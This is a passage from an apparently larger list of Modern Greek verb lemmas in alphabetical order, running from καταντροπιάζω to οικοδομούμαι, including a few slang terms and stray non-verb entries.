καταντροπιάζω καταντώ καταξεραίνω καταξεσκίζω καταξεσχίζω καταξηραίνω
καταξοδεύομαι καταξοδεύω καταξοδιάζω καταπέμπω καταπέφτω καταπίνω καταπίπτω
καταπείθω καταπιάνομαι καταπιέζω καταπικραίνω καταπλέω καταπλήσσω καταπλήττω
καταπληγώνω καταπλημμυρίζω καταπλημμυρώ καταπλύνομαι καταπνίγω καταπολεμάω
καταπολεμώ καταπολεμώμαι καταπονούμαι καταποντίζω καταπονώ καταπραΰνομαι
καταπτοώ καταπτύω καταργώ καταριέμαι καταριθμώ καταρρέω καταρρίπτω
καταρρακώνω καταρροφώ καταρτίζω καταρώμαι κατασβήνω κατασημαίνω κατασιγάζω
κατασκευάζομαι κατασκευάζω κατασκηνώνομαι κατασκηνώνω κατασκιάζω κατασκονίζω
κατασκορπίζω κατασκοτώνομαι κατασκοτώνω κατασπαράζω κατασπαράσσω κατασπαταλώ
καταστέλλω καταστίζω κατασταίνω κατασταλάζω καταστενοχωρώ καταστερίζω
καταστρέφω καταστρατηγώ καταστροφολογώ καταστρώνω κατασυκοφαντώ κατασυντρίβω
κατασφαγιάζω κατασχάζω κατασωτεύω κατατάσσομαι κατατάσσω κατατέμνω κατατίθεμαι
καταταράζω καταταράσσω κατατείνω κατατεμαχίζω κατατοπίζομαι κατατοπίζω
κατατρίβομαι κατατραυματίζω κατατρομάζω κατατροπώνω κατατρυπώ κατατρύχω
κατατρώω κατατσακίζω κατατυραννώ καταυγάζω καταυλίζομαι καταφέρνω καταφέρομαι
καταφαίνομαι καταφεύγω καταφθάνω καταφιλῶ καταφρονώ καταφτάνω καταχέζω
καταχειροκροτώ καταχερίζω καταχεριάζω καταχνιάζει καταχρεώνομαι καταχρώμαι
καταχωνιάζω καταχωρίζω καταχωρώ καταχώνομαι καταχώνω καταψηφίζω καταψύχω
καταϋποχρεώνω κατεβάζω κατεβαίνω κατεδαφίζω κατειρωνεύομαι κατενθουσιάζω
κατεργάζομαι κατερειπώνω κατευθύνομαι κατευθύνω κατευνάζω κατευοδώνω
κατηγοριοποιούμαι κατηγοριοποιώ κατηγορούμαι κατηγορώ κατηφορίζω κατηχώ
κατισχύω κατοικίζω κατοικοεδρεύω κατοικώ κατολισθαίνω κατολοφύρομαι κατονομάζω
κατοπτρίζω κατορθώνω κατοστίζω κατουριέμαι κατουρώ κατοχυρώνω κατρακυλάω
κατραμώνω κατραπακιάζω κατσαβιδώνω κατσαδιάζω κατσαρώνω κατσιάζω κατσικώνομαι
κατσουφιάζω καυκιέμαι καυλαντίζω καυλοκοιτάω καυλώνω καυτηριάζω καυχησιολογώ
καφασώνω καψαλίζω καψώνω κβαντίζω κείμαι κείρομαι κείρω κείτομαι κελαδώ
κελαηδώ κελαρύζω κελαϊδάω κελαϊδώ κελεύω κεντράρω κεντρίζω κεντρώνω κεντώ
κεραμιδώνω κερατώνω κεραυνοβολώ κεραυνώνω κερδίζομαι κερδίζω κερδαίνω κερδεύω
κερματίζω κερνάω κερνώ κερώνω κεφαλαιοποιώ κεφαλαλγώ κεφαλοπονώ κηδεμονεύω
κηκίω κηλιδώνω κηπεύω κηρύσσομαι κηρύσσω κηρύττομαι κηρύττω κιαλάρω κιβδηλεύω
κιθαρίζω κιθαρωδώ κιμαδιάζω κινδυνεύω κινδυνολογώ κινηματογραφούμαι
κινητοποιούμαι κινητοποιώ κινητροδοτούμαι κινητροδοτώ κινούμαι κιντυνεύω κινώ
κιτρινίζω κλάνω κλέβω κλέπτω κλέπτω κλέφτω κλίνω κλαίγομαι κλαίγω κλαίω
κλαδεύω κλαδώνω κλαουρίζω κλαρώνω κλασαυχενίζομαι κλασικίζω κλατάρω
κλαψουρίζω κλείνω κλειδαμπαρώνω κλειδαριθμώ κλειδομανταλώνω κλειδώνομαι
κλειώ κληροδοτώ κληρονομούμαι κληρονομώ κληρώνω κλητεύομαι κλητεύω κλικάρω
κλιμακώνομαι κλιμακώνω κλονίζομαι κλονίζω κλοτσάω κλοτσώ κλουβιάζω κλουβιαίνω
κλωθογυρίζω κλωνοποιώ κλωσώ κλωτσώ κλώζω κλώθω κνίζω κοάζω κοίτομαι κογιονάρω
κοιλαίνω κοιλοπονώ κοιμάμαι κοιμίζω κοιμούμαι κοινολογώ κοινοποιούμαι
κοινωνικοποιώ κοινωνώ κοιτάζομαι κοιτάζω κοιτώ κοκαλιάζω κοκαλώνω κοκκαλώνω
κοκκοποιώ κοκορίζω κοκορεύομαι κολάζω κολακεύω κολαντρίζω κολατσίζω κολαφίζω
κολεκτιβοποιώ κολεχτιβοποιώ κολλάρω κολλάω κολλαρίζω κολλώ κολοβώνω κολυμπάω
κολώ κομίζω κομματίζομαι κομματιάζω κομματοσκυλιάζω κομουνίζω κομπάζω κομπιάζω
κομπλιμεντάρω κομποδένω κομπορρημονώ κομπώνω κομψεύομαι κονεύω κονιοποιώ
κονιορτοποιώ κονομάω κονσερβοποιώ κονταίνω κοντανασαίνω κονταροχτυπιέμαι
κοντοζυγώνω κοντοστέκομαι κοντοστέκω κοντράρω κοντραστάρω κοντροκρατώ
κοπάζω κοπανίζω κοπανώ κοπιάζω κοπιάρω κοπιώ κοπρίζω κοπροσκυλιάζω κοπροσκυλώ
κορακιάζω κορδακίζομαι κορδακίζω κορδελιάζω κορδώνομαι κορδώνω κορεννύομαι
κορεύω κοριάζω κορνάρω κορνιζάρω κορνιζώνω κοροϊδεύω κορτάρω κορυβαντιώ
κορυφώνομαι κορυφώνω κορφολογώ κορώνω κοσίζω κοσεύω κοσκινίζω κοσμώ κοστάρω
κοστολογώ κοτάω κοτσάρω κοτώ κουβαλάω κουβαλώ κουβαριάζω κουβεντιάζω κουβιαίνω
κουδουνίζω κουζουλαίνω κουκουλώνομαι κουκουλώνω κουλάρω κουλαίνω κουλαντρίζω
κουλουριάζω κουμαντάρω κουμπαριάζω κουμπώνω κουνάω κουνιέμαι κουντώ κουνώ
κουράζω κουράρω κουρδίζομαι κουρδίζω κουρελιάζω κουρεύομαι κουρεύω
κουρνιάζω κουρντίζω κουρσεύω κουρταλώ κουτιαίνω κουτουλίζω κουτουλώ κουτουπώνω
κουτρουβαλώ κουτρώ κουτσαίνω κουτσοκαταφέρνω κουτσομπολεύω κουτσομπολιάζω
κουτσοπερπατώ κουτσουλίζω κουτσουλώ κουτσουρεύω κουφίζω κουφαίνω κουφοβράζω
κοφινιάζω κοφώνω κοχλάζω κοχλιώνω κοψομεσιάζομαι κοψομεσιάζω κοψοχολιάζω κράζω
κρέμομαι κρέμουμαι κρένω κρίνομαι κρίνω κραίνω κραδαίνω κρασάρω κρασοπίνω
κραταιώνω κρατιέμαι κρατικοποιούμαι κρατικοποιώ κρατούμαι κρατύνω κρατώ
κρεβατώνομαι κρεβατώνω κρεμάω κρεμιέμαι κρεμνώ κρεμώ κρεουργώ κρεοφαγώ κρεπάρω
κρηπιδώνω κρησαρίζω κριθαρίζω κριματίζομαι κριματίζω κριτικάρω κριτσανίζω
κροταλίζω κροτώ κρουσταλλιάζω κρουστοϋφαίνω κρούω κρυολογώ κρυπτογραφώ
κρυσταλλώνω κρυφακούω κρυφογελώ κρυφοκαίω κρυφοκαμαρώνω κρυφοκοιτάζομαι
κρυφοκοιτάω κρυφοκοιτιέμαι κρυφοκοιτώ κρυφομιλώ κρυφοσμίγω κρυώνω κρύβομαι
κρύπτω κρώζω κτίζω κτενίζω κτερίζω κτηνοβατώ κτυπάω κτυπιέμαι κτυπώ κτώμαι
κυβερνάω κυβερνιέμαι κυβερνώ κυβερνώμαι κυβεύω κυκλοφορώ κυκλώνω κυλάω κυλίω
κυλινδρώνω κυλινδώ κυλώ κυμαίνομαι κυματίζω κυμβαλίζω κυνηγώ κυοφορώ κυριαρχώ
κυριεύω κυριολεκτώ κυριολεχτώ κυρτώνω κυρώ κυρώνω κωδικοποιώ κωδωνίζω
κωκύω κωλοβαράω κωλοβαρώ κωλοκάθομαι κωλοφιλώ κωλυσιεργώ κωλύομαι κωλύω κωλώνω
κωπηλατώ κωφεύω κόβομαι κόβω κόπτομαι κόπτω κόφτω κύκλω κύπτω κύρω λάμνω λάμπω
λέγω λέω λήγω λαβαίνω λαβατώνω λαβώνω λαγαρίζω λαγγεύω λαγιάζω λαγνοκοιτώ
λαγοκοιμάμαι λαγχάνω λαδομπογιαντίζω λαδομπογιατίζω λαδώνω λαθεύω λαθρακιάζω
λαθροταξιδεύω λακίζω λακτίζω λακωνίζω λακώ λαλώ λαμβάνομαι λαμβάνω λαμινάρω
λαμπικάρω λαμποκοπάω λαμποκοπώ λαμπρύνω λαμπυρίζω λαναρίζω λανθάνω λανσάρω
λαπαδιάζω λαρυγγίζω λασκάρω λασπιάζω λασποκυλιέμαι λασπολογώ λασπώνω λατινίζω
λατρεύω λαφιάζω λαφυραγωγώ λαχαίνω λαχανιάζω λαχταρίζω λαχταρώ λαϊκίζω λείπω
λεβάρω λεηλατώ λειαίνω λειτουργιέμαι λειτουργούμαι λειτουργώ λειχηνιάζω
λειώνω λεκιάζω λεξιθηρώ λεξικογραφώ λεοντοποιώ λεπταίνω λεπτολογώ λεπτύνω
λερώνω λεσβιάζω λευκάζω λευκαίνω λευκοφορώ λευτερώνω λευχειμονώ λημεριάζω
λημματολογώ λησμονάω λησμονώ ληστεύω ληστοκρατούμαι λιάζομαι λιάζω λιανίζω
λιανοκόβω λιβανίζω λιβελογραφώ λιγδιάζω λιγδώνω λιγνεύω λιγοθυμώ λιγοστεύω
λιγοψυχώ λιγώνομαι λιγώνω λιθοβολώ λιθογραφώ λιθοδομώ λιθολογώ λιθοστρώνω
λικνίζω λιμάζω λιμάρω λιμνάζω λιμοκτονώ λιμπίζομαι λιμώττω λιντσάρω λιοτρίβω
λιποθυμάω λιποθυμώ λιποτακτώ λιποταχτώ λιποψυχώ λιτανεύω λιχνίζω λιχνεύομαι
λιώνω λογίζομαι λογαριάζομαι λογαριάζω λογγώνω λογιάζομαι λογιάζω λογιέμαι
λογικεύω λογιοτατίζω λογογραφώ λογοδοτώ λογοκλέπτω λογοκλοπώ λογοκρίνω
λογοπαικτώ λογοφέρνω λογυρνάω λογχίζω λογχεύω λοιδορώ λοξεύω λοξοδρομώ
λουλουδίζω λουλουδιάζω λουπάρω λουσάρω λουσαρίζω λουστράρω λουφάζω λουφάρω
λούζω λούω λυγίζω λυγιέμαι λυγώ λυμαίνομαι λυντσάρω λυπάμαι λυπούμαι λυποῦμαι
λυσσάζω λυσσιάζω λυσσομανώ λυσσώ λυτρώνομαι λυτρώνω λωβιάζω λωλαίνω λύνομαι
λύω μάμνω μάχομαι μέλει μέλλω μέλπω μέμφομαι μένω μίσγω μαίνομαι μαγαρίζω
μαγγώνομαι μαγγώνω μαγειρεύομαι μαγειρεύω μαγεύομαι μαγεύω μαγκεύω μαγκώνω
μαγνητίζω μαγνητοσκοπούμαι μαγνητοσκοπούμαι μαγνητοσκοπώ μαγνητοφωνώ μαδάω
μαζεύομαι μαζεύω μαζώνω μαζώχνω μαθαίνω μαθεύομαι μαθητεύω μαθητιώ μαιεύομαι
μακαρίζω μακαρονίζω μακελεύω μακιγιάρομαι μακιγιάρω μακραίνω μακρηγορώ
μακροθυμώ μακρολογώ μακρύνω μαλάζω μαλάσσω μαλαγρώνω μαλακίζομαι μαλακώνομαι
μαλαματοκαπνίζομαι μαλαματοκαπνίζω μαλαματώνω μαλαμοκαπνίζω μαλθακώνω μαλλιάζω
μαλώνω μανίζω μανατζάρω μανθάνω μανιάζω μανικώνω μανιπουλάρω μανιώνω
μαντάρω μανταλώνω μαντατεύω μαντεύω μαντιλοδένομαι μαντρίζω μαντρώνω
μαραίνομαι μαραίνω μαραγκιάζω μαραζιάζω μαραζώνω μαργώνω μαρινάρω μαρκάρω
μαρκαλίζω μαρκαλώ μαρμαίρω μαρμαρώνω μαρσάρω μαρτυράω μαρτυρώ μασάω μασιέμαι
μασουλάω μασουλίζω μασουλιέμαι μασουλώ μασουρίζω μαστίζω μαστιγώνω μαστιχώνω
μαστουριάζω μαστουρώνω μασώ μασώμαι ματίζω ματαέρχομαι ματαβλέπω ματαγυρίζω
ματαιοδοξώ ματαιολογώ ματαιοπονώ ματαιοφρονώ ματαιώνω ματιάζω ματοκυλίζω
ματώνω μαυλάω μαυλίζω μαυρίζω μαυρολογώ μαυροφορώ μαχαιρώνομαι μαχαιρώνω
μαϊνάρω μαϊστραλίζω μεγαλαυχώ μεγαληγορώ μεγαλοπιάνομαι μεγαλοποιούμαι
μεγαλοπραγμονώ μεγαλορρημονώ μεγαλουργώ μεγαλοφέρνω μεγαλοφρονώ μεγαλύνω
μεγαλώνω μεγεθύνω μεγιστοποιούμαι μεγιστοποιώ μεθάω μεθερμηνεύω μεθοδεύω
μεθορμίζω μεθύσκομαι μεθύσκω μεθύω μεθώ μειγνύω μειδιώ μειοδοτώ μειονεκτώ
μειοψηφώ μειώνω μελαίνω μελαγχολώ μελανειμονώ μελανηφορώ μελανιάζω μελανώνω
μελετώ μελετώμαι μελοδραματοποιώ μελοποιώ μελωδώ μελώνω μεμψιμοιρώ μερίζω
μερεμετίζω μερεύω μεριάζω μερικεύω μεριμνώ μεροληπτώ μερώνω
μεσημεριάζει μεσημεριάζω μεσιτεύω μεσοκόβω μεσολαβώ μεσουρανώ μεστώνω μεσώ
μετέρχομαι μετέχω μεταβάλλομαι μεταβάλλω μεταβαίνω μεταβαπτίζω μεταβιβάζω
μεταβολίζω μεταγγίζομαι μεταγγίζω μεταγλωττίζομαι μεταγλωττίζω μεταγράφομαι
μεταγραμματίζω μεταγυρίζω μεταδίδομαι μεταδίδω μεταδίνω μεταδιεγείρω μεταθέτω
μετακινούμαι μετακινώ μετακομίζω μεταλαβαίνω μεταλαμβάνω μεταλαμπαδεύω
μεταλλάσσομαι μεταλλάσσω μεταλλεύω μεταμελούμαι μεταμισθώνω μεταμορφώνομαι
μεταμοσχεύομαι μεταμοσχεύω μεταμφίεση μεταμφιέζομαι μεταμφιέζω μεταναστεύω
μετανοώ μεταπίπτω μεταπείθομαι μεταπείθω μεταπηδώ μεταπλάθω μεταπλάσσω
μεταποιώ μεταπουλάω μεταπουλώ μεταπωλούμαι μεταπωλώ μεταραιώνω μεταρρυθμίζομαι
μεταρσιώνομαι μεταρσιώνω μετασκευάζομαι μετασκευάζω μετασταθμεύω
μεταστοιχειώνω μεταστρέφομαι μεταστρέφω μεταστρατοπεδεύω μετασχηματίζομαι
μετατάσσομαι μετατάσσω μετατίθεμαι μετατοπίζομαι μετατοπίζω μετατρέπω
μεταφέρνω μεταφέρομαι μεταφέρω μεταφορτώνω μεταφράζομαι μεταφράζω
μεταφυτεύω μεταχειρίζομαι μεταχρωματίζω μετεγγράφομαι μετεγγράφω
μετεκπαιδεύω μετεμφυτεύομαι μετεμψυχώνομαι μετεμψυχώνω μετενσαρκώνομαι
μετενσωματώνω μετεξελίσσομαι μετεπιβιβάζω μετεωρίζομαι μετεωρίζω μετοικίζω
μετονομάζομαι μετονομάζω μετουσιώνω μετοχετεύω μετράω μετριάζομαι μετριάζω
μετριοφρονώ μετρώ μεφιτίζω μηδίζω μηδενίζομαι μηδενίζω μηκύνω μηκώμαι μηλοβολώ
μηνύομαι μηνύω μηνώ μηρυκάζω μηχανεύομαι μηχανογραφώ μηχανοποιώ
μηχανοργανώνω μηχανορραφώ μηχανώμαι μιαίνομαι μιαίνω μικιάρω μικραίνω
μικροδείχνω μικρολογώ μικροπαντρεύομαι μικροπαντρεύω μικροφέρνω μικρύνω μιλάω
μιλώ μιμούμαι μινάρω μινυρίζω μιξάρω μισανοίγω μισεύω μισθοδοτώ μισθώνομαι
μισοκοιμάμαι μισοτελειώνω μισούμαι μισώ μνέσκω μνημονεύομαι μνημονεύω
μνηστεύομαι μνηστεύω μοιάζω μοιράζομαι μοιράζω μοιραίνω μοιρολογώ μοιχεύω
μολέρνω μολεύομαι μολεύω μολογώ μολυβώνω μολύνομαι μολύνω μομιοποιώ μονάζω
μονιάζω μονιμοποιούμαι μονιμοποιώ μονογράφομαι μονογράφω μονογραφώ μονοδρομώ
μονολογώ μονομαχώ μονοπωλούμαι μονοπωλώ μοντάρω μοντερνίζω μονώνομαι μονώνω
μορφοποιούμαι μορφοποιώ μορφοτυπώ μορφώνομαι μορφώνω μοσκοβολώ μοσκομυρίζω
μοστράρω μοσχεύω μοσχοβολώ μοσχομυρίζω μοσχοπληρώνω μοσχοπουλιέμαι μοσχοπουλώ
μουγγαίνω μουγκαίνομαι μουγκαίνω μουγκανίζω μουγκρίζω μουδιάζω μουζώνομαι
μουκανίζω μουλαρώνω μουλιάζω μουλώνω μουλώχνω μουμιοποιούμαι μουμιοποιώ
μουνουχίζω μουντάρω μουνταίνω μουντζαλώνομαι μουντζαλώνω μουντζουρώνομαι
μουντζώνομαι μουντζώνω μουραίνω μουρλαίνομαι μουρλαίνω μουρμουράω μουρμουρίζω
μουρτζουφλώ μουσκεύομαι μουσκεύω μουσκλιάζω μουσουργώ μουστώνω μουτεύω
μουτρώνω μουφλουζεύω μουχλιάζω μουχρώνει μουχρώνω μοχθώ μοχλεύω μοχτώ μπάζω
μπήγω μπήζω μπήχνω μπαίνω μπαγδαντίζω μπαγδατίζω μπαγιατίζω μπαγιατεύω
μπαζώνω μπαινοβγαίνω μπακιρώνω μπαλαμουτιάζω μπαλαντζάρω μπαλσαμώνω μπαλωτάρω
μπαλώνω μπαμπακιάζω μπαμπουλώνω μπανίζω μπανιάρομαι μπανιάρω μπανιαρίζω
μπαρκάρω μπαρουτιάζω μπασταρδεύομαι μπασταρδεύω μπαστουρώνω μπατάρω μπατίρω
μπατιρίζω μπατσίζω μπαφιάζω μπαϊλντίζω μπαϊλντώ μπεγλερίζω μπεγλερώ μπεζεράω
μπεκρολογάω μπεκρολογώ μπεκροπίνω μπεκρουλιάζω μπεμπεκίζω μπερδεύομαι μπερδεύω
μπιζάρω μπιμπικιάζω μπιμπιλώνω μπινεύω μπιρμπιλίζω μπιτίζω μπιφτεκώνω
μπλέκω μπλαβίζω μπλανσάρω μπλαστρώνομαι μπλαστρώνω μπλοκάρω μπλοφάρω
μπογιατίζομαι μπογιατίζω μποδίζω μπολεύω μπολιάζομαι μπολιάζω μπολικαίνω μπορώ
μποσκάρω μποτζάρω μποτιλιάρω μποτσάρω μπουγαδιάζω μπουγελώνω μπουζουριάζω
μπουκετάρω μπουκώνομαι μπουκώνω μπουμπουκιάζω μπουμπουνίζει μπουμπουνίζω
μπουρδουκλώνομαι μπουρδουκλώνω μπουρινιάζω μπουσουλάω μπουσουλίζω μπουσουλώ
μποχάρω μποϊκοτάρω μποϋκοτάρω μπρουμουτίζω μυγιάζομαι μυζώ μυθιστοριογραφώ
μυθογραφώ μυθολογώ μυθοποιούμαι μυθοποιώ μυκτηρίζω μυκώμαι μυξιάζω μυξοκλαίω
μυρίζομαι μυρίζω μυριαναστενάζω μυρμηγκιάζω μυρμηκιώ μυρώνω μυσταγωγώ μυστρίζω
μυωπάζω μυώ μωλωπίζομαι μωλωπίζω μωραίνομαι μωραίνω μωρολογώ μωρουδίζω μύρομαι
νέμομαι νέμω νέω νίβομαι νίβω νίπτω νίφτω νανουρίζομαι νανουρίζω ναρκισσεύομαι
ναρκοθετώ ναρκώνομαι ναρκώνω ναυαγώ ναυλοχώ ναυλώνομαι ναυλώνω ναυμαχώ
ναυπηγοκατασκευαστικός ναυπηγούμαι ναυπηγώ ναυτίλλομαι ναυτολογώ νεάζω
νεανίζω νεκατσιώ νεκρανασταίνομαι νεκρανασταίνω νεκροστολίζω νεκροφιλώ
νεκρώνω νεοσσεύω νεροβράζω νερουλιάζω νερώνω νετάρω νευριάζω νεφελοβατώ
νεωλκώ νεωτερίζω νεύω νηνεμώ νηολογώ νηπιάζω νηπιοβαπτίζω νηστεύω νιαουρίζω
νικιέμαι νικώ νικῶ νιτροποιώ νιώθω νιώνω νογάω νογώ νοηματοδοτώ νοθεύομαι
νοιάζει νοιάζομαι νοικιάζομαι νοικιάζω νοικοκερεύω νοικοκυρεύομαι νοικοκυρεύω
νομίζω νομαρχώ νοματίζω νομιμοποιούμαι νομιμοποιώ νομισματοποιώ νομοθετούμαι
νοούμαι νοσηλεύομαι νοσηλεύω νοσταλγώ νοστιμίζω νοστιμεύομαι νοστιμεύω
νοσώ νοτίζω νουθετώ νουνίζω νοώ νταβραντίζω νταγιαντίζω νταγιαντώ ντακέρνω
νταντεύω νταραβερίζομαι ντελαλώ ντελαπάρω ντεμπουτάρω ντεραπάρω ντερλικώνω
ντοπάρω ντουμανιάζω ντουμπλάρω ντουφεκίζομαι ντουφεκίζω ντουχιουντίζω
ντρεσάρω ντροπιάζομαι ντροπιάζω ντύνομαι ντύνω ντώνω νυγματίζω νυκτερεύω
νυμφεύομαι νυμφεύω νυμφοστολίζω νυστάζω νυφοστολίζω νυχιάζω νυχτερεύω
νυχτοπερπατώ νυχτώνει νυχτώνομαι νυχτώνω νωχελεύω ξέρω ξέω ξαίνω ξαγγρίζω
ξαγκιστρώνομαι ξαγκιστρώνω ξαγναντεύω ξαγορεύω ξαγρυπνώ ξαδιαντροπεύομαι
ξαλέθω ξαλαφρώνω ξαλεγράρω ξαλλάζω ξαλμυρίζω ξαμολάω ξαμολιέμαι ξαμολώ ξαμώνω
ξανάρχομαι ξανάφτω ξαναβάζω ξαναβάφω ξαναβγάζω ξαναβλέπω ξαναβράζω ξαναβρίσκω
ξαναγαπώ ξαναγεμίζω ξαναγεννιέμαι ξαναγεννιούμαι ξαναγράφω ξαναγυρίζω
ξαναδίνω ξαναδείχνω ξαναδιαβάζω ξαναδοκιμάζω ξαναενώνω ξαναεφαρμόζω
ξαναζωντανεύω ξαναθυμάμαι ξαναθυμίζω ξανακάνω ξανακαλώ ξανακερδίζω
ξανακοιμάμαι ξανακούω ξανακτίζω ξανακτυπώ ξανακυκλοφορώ ξανακυλώ ξαναλέγω
ξαναλογαριάζω ξαναμιλώ ξαναμοιράζω ξαναμπαίνω ξαναμωραίνομαι ξανανάβω
ξανανιώνω ξανανταμώνω ξαναξεκινώ ξαναπέφτω ξαναπαίρνω ξαναπαντρεύομαι
ξαναπιάνω ξαναπληρώνω ξαναρίχνω ξαναρχίζω ξαναρχινώ ξαναρωτώ ξανασαίνω
ξανασπρώχνομαι ξαναστήνω ξαναστρώνω ξανατοποθετούμαι ξανατρέχω ξανατυπώνω
ξαναφέρνω ξαναφαίνομαι ξαναφεύγω ξαναφορμάρω ξαναφορτώνω ξαναφορώ ξαναφουντώνω
ξαναχρησιμοποιώ ξαναχτίζω ξαναχτυπώ ξαναϋιοθετώ ξανεμίζω ξανθίζω ξανθαίνω
ξανοίγω ξανταίνω ξαντιμεύω ξαπλάρω ξαπλώνομαι ξαπλώνω ξαπολνώ ξαπολώ
ξαποστέλνω ξαποσταίνω ξαραχνιάζω ξαργώ ξαρματώνω ξαρμυρίζω ξαρραβωνιάζω
ξαστερώνω ξαστοχώ ξαφνίζω ξαφνιάζομαι ξαφνιάζω ξαφρίζω ξεαποφασίζω ξεβάφω
ξεβγάζομαι ξεβγάζω ξεβγάνω ξεβγαίνω ξεβιδώνω ξεβιράρω ξεβλασταρώνω ξεβλαστώνω
ξεβουλώνω ξεβουτυρώνω ξεβράζω ξεβρακώνω ξεβρομίζω ξεγίνομαι ξεγαντζώνω
ξεγελιέμαι ξεγελώ ξεγεννώ ξεγιβεντίζω ξεγλιστρώ ξεγνοιάζω ξεγοφιάζω ξεγράφω
ξεγυμνώνω ξεγυρίζω ξεδένω ξεδίνω ξεδιακρίνω ξεδιαλέγω ξεδιαλύνω ξεδικιούμαι
ξεδιψώ ξεδολώνω ξεδοντιάζομαι ξεδοντιάζω ξεζαλίζομαι ξεζαλίζω ξεζεύω ξεζουμάρω
ξεζώνω ξεθάβω ξεθάφτω ξεθαμπώνω ξεθαρρεύω ξεθεμελιώνω ξεθεώνω ξεθηκαρώνω
ξεθολώνω ξεθυμαίνω ξεθυμώνω ξεκάνω ξεκίνα ξεκαβαλικεύω ξεκαθαρίζω ξεκακιώνω
ξεκαλουπώνω ξεκαλτσώνω ξεκαμπίζω ξεκαπακώνω ξεκαπελώνω ξεκαπιστρώνω ξεκαπνίζω
ξεκαρφιτσώνω ξεκαρφώνω ξεκατινιάζω ξεκινάω ξεκινώ ξεκλέβω ξεκλειδώνομαι
ξεκληρίζομαι ξεκληρίζω ξεκλωσώ ξεκοιλιάζομαι ξεκοιλιάζω ξεκοκαλίζομαι
ξεκολλώ ξεκουμπίζομαι ξεκουμπώνομαι ξεκουμπώνω ξεκουράζομαι ξεκουράζω
ξεκουρντίζω ξεκουτιαίνω ξεκουφαίνω ξεκρίνω ξεκρεμώ ξεκωλώνω ξεκόβω ξεκόφτω
ξελαγαρίζω ξελαιμιάζομαι ξελαιμιάζω ξελακκώνω ξελαμπικάρω ξελαρυγγίζομαι
ξελασκάρω ξελασπώνω ξελαφάσω ξελαφρώνω ξελειτουργώ ξελεπίζω ξελεπιάζω
ξελιγώνω ξελογγώνω ξελογιάζω ξεμένω ξεμαγαρίζω ξεμαθαίνω ξεμακραίνω ξεμαλλιάζω
ξεμασκαλίζω ξεμασκαρεύω ξεματιάζω ξεμαυλίζω ξεμεσημέριασμα ξεμεσημεριάζω
ξεμοναχιάζω ξεμοντάρω ξεμουδιάζω ξεμουχλιάζω ξεμπαρκάρω ξεμπαστουρώνω
ξεμπλέκω ξεμπλοκάρω ξεμπουκάρω ξεμπρατσώνομαι ξεμπροστιάζω ξεμυαλίζω
ξεμυτίζω ξεμυτώ ξεμωραίνομαι ξεμωραίνω ξενίζω ξεναγούμαι ξεναγώ ξενερίζω
ξενηλατώ ξενιτεύομαι ξενοδουλεύω ξενοιάζω ξενοικιάζω ξενοκοιμάμαι
ξενοκοιτάζω ξενοκρατούμαι ξενοπλένω ξενοράβω ξεντερίζω ξεντύνομαι ξεντύνω
ξενυχιάζω ξενυχτάω ξενυχτίζω ξενυχτώ ξεπέφτω ξεπαίρνομαι ξεπαγιάζω ξεπαγώνω
ξεπαλουκώνω ξεπαραδιάζω ξεπαραλώ ξεπαρθενεύω ξεπαρθενιάζω ξεπαστρεύω
ξεπατώνομαι ξεπατώνω ξεπεζεύω ξεπερνώ ξεπετάγομαι ξεπετιέμαι ξεπετώ ξεπηδώ
ξεπλέκω ξεπλένομαι ξεπλένω ξεπλανεύω ξεπλατίζω ξεπληρώνω ξεπλύνω
ξεποδαριάζω ξεπορτίζω ξεπουλώ ξεπουπουλιάζω ξεπροβάλλω ξεπροβαίνω ξεπροβαδίζω
ξεπροβοδίζω ξεπροβοδώ ξεπροβοδώνω ξερίχνω ξεραίνομαι ξεραίνω ξεριζώνομαι
ξερνάω ξερνοβολώ ξερνώ ξεροβήχω ξεροκαταπίνω ξεροκοκκινίζω ξεροσταλιάζω
ξεροψήνομαι ξεροψήνω ξεσέρνω ξεσαβουρώνω ξεσαλώνω ξεσαμαρώνω ξεσβερκιάζομαι
ξεσελώνω ξεσηκώνομαι ξεσηκώνω ξεσκάζω ξεσκάω ξεσκίζομαι ξεσκίζω ξεσκαλίζω
ξεσκαρτάρω ξεσκατίζω ξεσκατώνω ξεσκεπάζω ξεσκλαβώνω ξεσκολίζω ξεσκονίζω
ξεσκουντώ ξεσκουριάζω ξεσκουφώνομαι ξεσκουφώνω ξεσπάζω ξεσπάω ξεσπαθώνω
ξεσποριάζω ξεσπώ ξεσταχυάζω ξεστηθώνομαι ξεστηθώνω ξεστολίζω ξεστομίζω
ξεστραβώνω ξεστρατίζω ξεστρώνομαι ξεστρώνω ξεσυνερίζομαι ξεσυννεφιάζω
ξεσφίγγω ξεσφραγίζω ξεσχίζω ξεσύρω ξεταπώνω ξετελεύω ξετεντώνω ξετιμώ ξετινάζω
ξετρελαίνω ξετρυπάω ξετρυπώνω ξετσιπώνομαι ξετυλίγομαι ξετυλίγω ξευτελίζω
ξεφαντώνω ξεφεύγω ξεφιτιλίζω ξεφιτιλώ ξεφλουδίζομαι ξεφλουδίζω ξεφορμάρω
ξεφορτώνω ξεφουρνίζω ξεφουσκώνομαι ξεφουσκώνω ξεφράζω ξεφτίζω ξεφτιλίζομαι
ξεφτώ ξεφυλλίζω ξεφυσώ ξεφυτρώνω ξεφωνίζω ξεφωνώ ξεχάνω ξεχέζω ξεχαρβαλώνομαι
ξεχειλίζω ξεχειλώνω ξεχειμάζω ξεχειμωνιάζω ξεχειρίζω ξεχερσώνω ξεχνάω
ξεχνώ ξεχολιάζω ξεχοντρίζω ξεχορταριάζω ξεχρεώνομαι ξεχρεώνω ξεχωνιάζω
ξεχύνομαι ξεχύνω ξεχώνομαι ξεχώνω ξεψαρώνω ξεψαχνίζω ξεψειρίζω ξεψυχώ ξεϊδρώνω
ξεύρω ξηγώ ξηλώνω ξημαρίζω ξημεροβραδιάζομαι ξημερώνει ξημερώνομαι ξημερώνω
ξιδιάζω ξινίζω ξιπάζομαι ξιπάζω ξιπολιέμαι ξιφομαχώ ξιφουλκώ ξοδεύομαι ξοδεύω
ξολοθρεύω ξομολογιέμαι ξομολογώ ξομπλιάζω ξορκίζω ξουραφίζω ξοφλάω ξυλίζω
ξυλιάζω ξυλογραφώ ξυλοκοπώ ξυλουργώ ξυλοφορτώνομαι ξυλοφορτώνω ξυπνώ
ξυπολυέμαι ξυρίζω ξυραφίζομαι ξυραφίζω ξυστρίζω ξωμένω ξύνομαι ξύνω ξύπνα ξύω
οβελίζομαι οβελίζω ογκανίζω ογκούμαι ογκώμαι ογκώνομαι ογκώνω ογραίνω οδεύω
οδηγούμαι οδηγώ οδοιπορώ οδοστρώνω οδύρομαι οζονίζω οζοντίζω
οιακίζω οιακοστροφώ οικίζω οικειοποιούμαι οικειούμαι οικειώνομαι οικοδομούμαι
